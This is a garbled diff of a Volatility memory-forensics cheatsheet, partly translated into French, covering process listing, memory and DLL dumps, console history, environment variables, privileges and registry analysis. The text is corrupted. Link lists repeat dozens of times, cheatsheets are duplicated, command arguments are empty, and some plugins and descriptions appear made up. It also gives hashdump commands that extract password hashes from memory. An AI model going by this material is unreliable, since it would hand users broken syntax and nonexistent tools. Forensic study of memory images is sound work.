List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/JamesHabben/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) ```bash volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden) volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS) volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware) volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list ``` -{% endtab %} -{% endtabs %} - -### Dump proc +### Analyse de dump proc {% tabs %} {% tab title="vol3" %} +#### Commandes de base + +- `volatility -f --profile= pslist` : liste des processus +- `volatility -f --profile= psscan` : liste des processus (scan) +- `volatility -f --profile= pstree` : arborescence des processus +- `volatility -f --profile= psxview` : liste des processus cachés +- `volatility -f --profile= dlllist -p ` : liste des DLL chargées par un processus +- `volatility -f --profile= handles -p ` : liste des handles ouverts par un processus +- `volatility -f --profile= cmdline -p ` : commande lancée par un processus +- `volatility -f --profile= consoles` : liste des consoles ouvertes +- `volatility -f --profile= consoles -p ` : console ouverte par un processus +- `volatility -f --profile= consoles -u ` : consoles ouvertes par un utilisateur +- `volatility -f --profile= consoles -t ` : consoles ouvertes dans une session +- `volatility -f --profile= getsids` : liste des SIDs +- `volatility -f --profile= getsids -p ` : SID d'un processus +- `volatility -f --profile= getsids -u ` : SIDs d'un utilisateur +- `volatility -f --profile= getsids -t ` : SIDs d'une session + +#### Analyse de processus + +- `volatility -f --profile= procdump -p -D ` : dump d'un processus +- `volatility -f --profile= memdump -p -D ` : dump de la mémoire d'un processus +- `volatility -f --profile= memdump -p --dump-dir=` : dump de la mémoire d'un processus (alternative) +- `volatility -f --profile= memmap` : liste des régions mémoire +- `volatility -f --profile= memmap -p ` : liste des régions mémoire d'un processus +- `volatility -f --profile= memdump -r - -D ` : dump d'une région mémoire +- `volatility -f --profile= memdump -R -D ` : dump d'une région mémoire (alternative) +- `volatility -f --profile= memdump --dump-dir= --pid=` : dump de la mémoire d'un processus (alternative) +- `volatility -f --profile= memdump --dump-dir= --address=
` : dump d'une région mémoire (alternative) + +#### Analyse de DLL + +- `volatility -f --profile= dlldump -p -b -D ` : dump d'une DLL chargée par un processus +- `volatility -f --profile= dlldump -b -D ` : dump d'une DLL chargée dans le dump +- `volatility -f --profile= dlldump -p -b --dump-dir=` : dump d'une DLL chargée par un processus (alternative) +- `volatility -f --profile= dlldump -b --dump-dir=` : dump d'une DLL chargée dans le dump (alternative) + +#### Analyse de handles + +- `volatility -f --profile= handles` : liste des handles ouverts +- `volatility -f --profile= handles -p ` : liste des handles ouverts par un processus +- `volatility -f --profile= handles -t ` : liste des handles d'un type +- `volatility -f --profile= handles -u ` : liste des handles ouverts par un utilisateur +- `volatility -f --profile= handles -p -o ` : liste des handles ouverts par un processus pour un objet donné +- `volatility -f --profile= handles -p -o -O` : dump de l'objet associé à un handle + +#### Analyse de threads + +- `volatility -f --profile= threads` : liste des threads +- `volatility -f --profile= threads -p ` : liste des threads d'un processus +- `volatility -f --profile= threads -t ` : informations sur un thread +- `volatility -f --profile= threads -p --dump-dir=` : dump de la pile d'un processus +- `volatility -f --profile= threads -t --dump-dir=` : dump de la pile d'un thread + +#### Analyse de la mémoire + +- `volatility -f --profile= memdump -D ` : dump de la mémoire +- `volatility -f --profile= memdump --dump-dir=` : dump de la mémoire (alternative) +- `volatility -f --profile= memdump -r - -D ` : dump d'une région mémoire +- `volatility -f --profile= memdump -R -D ` : dump d'une région mémoire (alternative) +- `volatility -f --profile= memdump --dump-dir= --address=
` : dump d'une région mémoire (alternative) + +#### Analyse de la pile + +- `volatility -f --profile= stackstrings -p ` : recherche de chaînes de caractères dans la pile d'un processus +- `volatility -f --profile= stack -p ` : affichage de la pile d'un processus +- `volatility -f --profile= stack -p -o ` : affichage de la pile d'un processus à partir d'un offset donné +- `volatility -f --profile= stack -p -o --dump-dir=` : dump de la pile d'un processus à partir d'un offset donné + +#### Analyse de la heap + +- `volatility -f --profile= heaps` : liste des heaps +- `volatility -f --profile= heaps -p ` : liste des heaps d'un processus +- `volatility -f --profile= heap -p -D ` : dump de la heap d'un processus +- `volatility -f --profile= heap -p -o -D ` : dump de la heap d'un processus à partir d'un offset donné +- `volatility -f --profile= heap -p -o --dump-dir=` : dump de la heap d'un processus à partir d'un offset donné (alternative) + +#### Analyse de la mémoire partagée + +- `volatility -f --profile= shims -p ` : liste des shims d'un processus +- `volatility -f --profile= shims -p -s ` : informations sur un shim d'un processus pour une DLL donnée +- `volatility -f --profile= shims -p -s -D ` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée +- `volatility -f --profile= shims -p -s -o -D ` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée à partir d'un offset donné +- `volatility -f --profile= shims -p -s -o --dump-dir=` : dump de la mémoire partagée d'un shim d'un processus pour une DLL donnée à partir d'un offset donné (alternative) + +#### Analyse de la mémoire virtuelle + +- `volatility -f --profile= vadinfo` : informations sur les VADs +- `volatility -f --profile= vadtree` : arborescence des VADs +- `volatility -f --profile= vadwalk -p ` : arborescence des VADs d'un processus +- `volatility -f --profile= vadtree -p ` : arborescence des VADs d'un processus +- `volatility -f --profile= vadtree -p -o ` : arborescence des VADs d'un processus à partir d'un offset donné +- `volatility -f --profile= vadtree -p -o --dump-dir=` : dump de la mémoire virtuelle d'un processus à partir d'un offset donné +- `volatility -f --profile= vadtree -p -o --dump-dir= --dump-children` : dump de la mémoire virtuelle d'un processus à partir d'un offset donné et de ses enfants + +#### Analyse de la mémoire physique + +- `volatility -f --profile= physmap` : liste des pages physiques +- `volatility -f --profile= physmap -p ` : liste des pages physiques d'un processus +- `volatility -f --profile= physmap -p -o ` : liste des pages physiques d'un processus à partir d'un offset donné +- `volatility -f --profile= physmap -p -o --dump-dir=` : dump des pages physiques d'un processus à partir d'un offset donné +- `volatility -f --profile= physmap -p -o --dump-dir= --dump-children` : dump des pages physiques d'un processus à partir d'un offset donné et de ses enfants +{% endtab %} +{% endtabs %} ```bash ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid #Dump the .exe and dlls of the process in the current directory ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Liste des plugins de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp ``` -{% endtab %} -{% endtabs %} +### Ligne de commande -### Command line - -Anything suspicious was executed? +Quelque chose de suspect a-t-il été exécuté ? {% tabs %} {% tab title="vol3" %} @@ -241,43 +1268,881 @@ python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f hashdump -s -y -s -y +``` + +```bash +volatility -f userassist +``` + +```bash +volatility -f getsids +``` + +```bash +volatility -f printkey -K +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `dumpcache` + +```bash +volatility -f dumpcache -D +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpregistryvalues` + +```bash +volatility -f dumpregistryvalues -o -D +``` + +### Plugin `dumpall` + +```bash +volatility -f dumpall -D +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D +``` + +### Plugin `modscan` + +```bash +volatility -f modscan +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash +volatility -f cmdscan -p +``` + +### Plugin `svcscan` + +```bash +volatility -f svcscan +``` + +### Plugin `printkey` + +```bash +volatility -f printkey -K +``` + +### Plugin `getsids` + +```bash +volatility -f getsids +``` + +### Plugin `userassist` + +```bash +volatility -f userassist +``` + +### Plugin `dumpcerts` + +```bash +volatility -f dumpcerts -O +``` + +### Plugin `dumpcache` + +```bash +volatility -f dumpcache -D +``` + +### Plugin `connscan` + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +### Plugin `sockets` + +```bash +volatility -f sockets +``` + +### Plugin `sockscan` + +```bash +volatility -f sockscan +``` + +### Plugin `filescan` + +```bash +volatility -f filescan +``` + +### Plugin `pslist` + +```bash +volatility -f pslist +``` + +### Plugin `psscan` + +```bash +volatility -f psscan +``` + +### Plugin `pstree` + +```bash +volatility -f pstree +``` + +### Plugin `dlllist` + +```bash +volatility -f dlllist +``` + +### Plugin `netscan` + +```bash +volatility -f netscan +``` + +### Plugin `procdump` + +```bash +volatility -f procdump -p -D +``` + +### Plugin `memdump` + +```bash +volatility -f memdump -p -D +``` + +### Plugin `malfind` + +```bash +volatility -f malfind -p -D +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +## Ressources + +- [Documentation officielle de Volatility](https://www.volatilityfoundation.org/) +- [Volatility Labs](https://volatility-labs.blogspot.com/) +- [Volatility Foundation GitHub](https://github.com/volatilityfoundation) +- [Volatility Cheat Sheet](https://github.com/413x90/volatility-cheatsheet) (en anglais) +- [Volatility Plugin List](https://github.com/superponible/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/tehw0lf/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/forensicmatt/VolUtility) (en anglais) +- [Volatility Plugin List](https://github.com/woanware/volatility-plugins) (en anglais) +- [Volatility Plugin List](https://github.com/kevthehermit/Volatility-Plugins) (en anglais) +- [Volatility Plugin List](https://github.com/504ensicsLabs/LiME/tree/master/src/volatility) (en anglais) +- [Volatility Plugin List](https://github.com/tribalchicken/volatility-plugins) (en anglais) ```bash volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION ``` +{% endtab %} +{% tab title="vol3" lang="fr" %} + +Les commandes entrées dans cmd.exe sont traitées par **conhost.exe** (csrss.exe avant Windows 7). Donc même si un attaquant a réussi à **tuer cmd.exe** **avant** que nous obtenions un **dump de mémoire**, il y a encore de bonnes chances de **récupérer l'historique** de la session de ligne de commande à partir de la **mémoire de conhost.exe**. Si vous trouvez **quelque chose d'étrange** (en utilisant les modules de la console), essayez de **dump** la **mémoire** du **processus associé à conhost.exe** et **recherchez** des **chaînes de caractères** à l'intérieur pour extraire les lignes de commande. + +### Environnement + +Obtenez les variables d'environnement de chaque processus en cours d'exécution. Il peut y avoir des valeurs intéressantes. + {% endtab %} {% endtabs %} - -Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the console's modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines. - -### Environment - -Get the env variables of each running process. There could be some interesting values. - -{% tabs %} -{% tab title="vol3" %} ```bash python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Volatility Cheatsheet + +## Installation + +```bash +pip install volatility +``` + +## Basic Usage + +```bash +volatility -f [options] +``` + +## Plugins + +### Process Analysis + +#### pslist + +List running processes. + +```bash +volatility -f pslist +``` + +#### psscan + +Scan for processes. + +```bash +volatility -f psscan +``` + +#### pstree + +Display process tree. + +```bash +volatility -f pstree +``` + +#### dlllist + +List loaded DLLs. + +```bash +volatility -f dlllist +``` + +#### handles + +List open handles. + +```bash +volatility -f handles +``` + +#### cmdscan + +Scan for command history. + +```bash +volatility -f cmdscan +``` + +### Malware Analysis + +#### malfind + +Find hidden and injected code. + +```bash +volatility -f malfind +``` + +#### malprocfind + +Find hidden processes. + +```bash +volatility -f malprocfind +``` + +#### malfind + +Find hidden files. + +```bash +volatility -f malfind +``` + +### Memory Analysis + +#### memdump + +Dump process memory. + +```bash +volatility -f memdump -p -D +``` + +#### memmap + +Display memory map. + +```bash +volatility -f memmap +``` + +#### memstrings + +Extract printable strings. + +```bash +volatility -f memstrings +``` + +#### memimage + +Extract PE files. + +```bash +volatility -f memimage +``` + +#### memdump + +Dump kernel memory. + +```bash +volatility -f memdump -p 0 -D +``` + +### Network Analysis + +#### connscan + +List open connections. + +```bash +volatility -f connscan +``` + +#### sockets + +List open sockets. + +```bash +volatility -f sockets +``` + +#### netscan + +Scan for network connections. + +```bash +volatility -f netscan +``` + +### User Analysis + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hashdump + +Dump password hashes. + +```bash +volatility -f hashdump -s -u +``` + +#### userassist + +List userassist entries. + +```bash +volatility -f userassist +``` + +#### getsids + +List user SIDs. + +```bash +volatility -f getsids +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### envars + +List environment variables. + +```bash +volatility -f envars +``` + +### Windows Registry Analysis + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### hivelist + +List registry hives. + +```bash +volatility -f hivelist +``` + +#### hivedump + +Dump registry hive. + +```bash +volatility -f hivedump -o -s -f +``` + +### Virtual Machine Analysis + +#### vboxinfo + +Display VirtualBox information. + +```bash +volatility -f vboxinfo +``` + +#### vboxsf + +List VirtualBox shared folders. + +```bash +volatility -f vboxsf +``` + +#### vmwareinfo + +Display VMware information. + +```bash +volatility -f vmwareinfo +``` + +#### vmpsaux + +List VMware process information. + +```bash +volatility -f vmpsaux +``` + +### Other Plugins + +#### apihooks + +List API hooks. + +```bash +volatility -f apihooks +``` + +#### callbacks + +List kernel callbacks. + +```bash +volatility -f callbacks +``` + +#### driverirp + +List driver IRPs. + +```bash +volatility -f driverirp +``` + +#### filescan + +Scan for files. + +```bash +volatility -f filescan +``` + +#### mutantscan + +Scan for mutant objects. + +```bash +volatility -f mutantscan +``` + +#### printkey + +Print registry key. + +```bash +volatility -f printkey -K +``` + +#### privs + +List process privileges. + +```bash +volatility -f privs +``` + +#### shimcache + +List ShimCache entries. + +```bash +volatility -f shimcache +``` + +#### ssdt + +List SSDT entries. + +```bash +volatility -f ssdt +``` + +#### thrdscan + +Scan for threads. + +```bash +volatility -f thrdscan +``` + +#### timers + +List kernel timers. + +```bash +volatility -f timers +``` + +#### vadinfo + +Display VAD information. + +```bash +volatility -f vadinfo +``` + +#### vadtree + +Display VAD tree. + +```bash +volatility -f vadtree +``` + +#### verinfo + +Display version information. + +```bash +volatility -f verinfo +``` + +#### windows + +List open windows. + +```bash +volatility -f windows +``` + +#### wintree + +Display window tree. + +```bash +volatility -f wintree +``` + +#### yarascan + +Scan for YARA signatures. + +```bash +volatility -f yarascan -Y +``` + +## References + +- [Volatility Documentation](https://github.com/volatilityfoundation/volatility/wiki) ```bash volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated ``` -{% endtab %} -{% endtabs %} +### Privilèges de jetons -### Token privileges - -Check for privileges tokens in unexpected services.\ -It could be interesting to list the processes using some privileged token. - -{% tabs %} -{% tab title="vol3" %} +Vérifiez les jetons de privilèges dans les services inattendus.\ +Il pourrait être intéressant de lister les processus utilisant un jeton privilégié. ```bash #Get enabled privileges of some processes python3 vol.py -f file.dmp windows.privileges.Privs [--pid ] @@ -286,76 +2151,1624 @@ python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivile ``` {% endtab %} -{% tab title="vol2" %} +{% tab title="volatility-cheatsheet.md" %} +# Feuille de triche Volatility + +## Commandes de base + +### Analyse de l'image mémoire + +```bash +volatility -f imageinfo +``` + +```bash +volatility -f kdbgscan +``` + +```bash +volatility -f kpcrscan +``` + +```bash +volatility -f pslist +``` + +```bash +volatility -f psscan +``` + +```bash +volatility -f pstree +``` + +```bash +volatility -f dlllist +``` + +```bash +volatility -f handles +``` + +```bash +volatility -f filescan +``` + +```bash +volatility -f netscan +``` + +### Analyse des processus + +```bash +volatility -f procdump -p -D +``` + +```bash +volatility -f memdump -p -D +``` + +```bash +volatility -f malfind -p -D +``` + +```bash +volatility -f apihooks -p +``` + +```bash +volatility -f ldrmodules -p +``` + +```bash +volatility -f handles -p +``` + +```bash +volatility -f cmdscan -p +``` + +### Analyse des connexions réseau + +```bash +volatility -f connscan +``` + +```bash +volatility -f connscan -s +``` + +```bash +volatility -f sockets +``` + +```bash +volatility -f sockscan +``` + +### Analyse des fichiers + +```bash +volatility -f filescan +``` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Analyse des registres + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K +``` + +```bash +volatility -f printkey -K -o +``` + +```bash +volatility -f hashdump -y -s -o --system --security --sam +``` + +### Analyse des utilisateurs + +```bash +volatility -f hivelist +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\ComputerName\ComputerName" +``` + +```bash +volatility -f printkey -K "ControlSet001\Services\Tcpip\Parameters" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\Terminal Server\WinStations\Console" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\LSA" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Minimal\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +```bash +volatility -f printkey -K "ControlSet001\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}" +``` + +### Analyse des vulnérabilités + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +## Plugins + +### Plugin `malfind` + +```bash +volatility -f malfind +``` + +```bash +volatility -f malfind --dump-dir +``` + +### Plugin `yarascan` + +```bash +volatility -f yarascan -Y +``` + +```bash +volatility -f yarascan -Y --dump-dir +``` + +### Plugin `dumpregistry` + +```bash +volatility -f dumpregistry -o -D +``` + +### Plugin `dumpfiles` + +```bash +volatility -f dumpfiles -Q +``` + +```bash +volatility -f dumpfiles -Q --dump-dir +``` + +### Plugin `moddump` + +```bash +volatility -f moddump -D -m +``` + +### Plugin `procdump` + +```bash +volatility -f procdump -p -D +``` + +### Plugin `memdump` + +```bash +volatility -f memdump -p -D +``` + +### Plugin `apihooks` + +```bash +volatility -f apihooks -p +``` + +### Plugin `ldrmodules` + +```bash +volatility -f ldrmodules -p +``` + +### Plugin `handles` + +```bash +volatility -f handles -p +``` + +### Plugin `cmdscan` + +```bash 